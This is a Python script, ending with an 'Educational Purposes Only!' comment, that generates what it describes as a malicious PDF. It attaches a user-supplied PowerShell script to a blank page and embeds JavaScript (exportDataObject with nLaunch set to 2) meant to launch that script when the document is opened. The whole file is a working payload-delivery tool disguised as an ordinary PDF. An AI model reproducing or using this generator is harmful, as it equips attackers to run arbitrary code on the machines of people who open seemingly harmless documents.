import PyPDF2
import argparse
import os
import sys
import subprocess

def main():
    parser = argparse.ArgumentParser(description='Generate a malicious PDF file that executes a Powershell script.')
    parser.add_argument('-s', '--script', help='Powershell script to execute', required=True)
    parser.add_argument('-o', '--output', help='Output file', required=True)
    args = parser.parse_args()

    if not os.path.exists(args.script):
        print('Error: script file does not exist')
        sys.exit(1)

    script_name = os.path.basename(args.script)
    script_name = os.path.splitext(script_name)[0]

    pdf = PyPDF2.PdfFileWriter()
    pdf.addBlankPage(612, 792)
    pdf.addJS('this.exportDataObject({ cName: "%s.ps1", nLaunch: 2, });' % script_name)
    with open(args.script, 'rb') as f:
        pdf.addAttachment(script_name + '.ps1', f.read())

    with open(args.output, 'wb') as f:
        pdf.write(f)

    print('Successfully wrote %s' % args.output)

if __name__ == '__main__':
    main()

# Educational Purposes Only!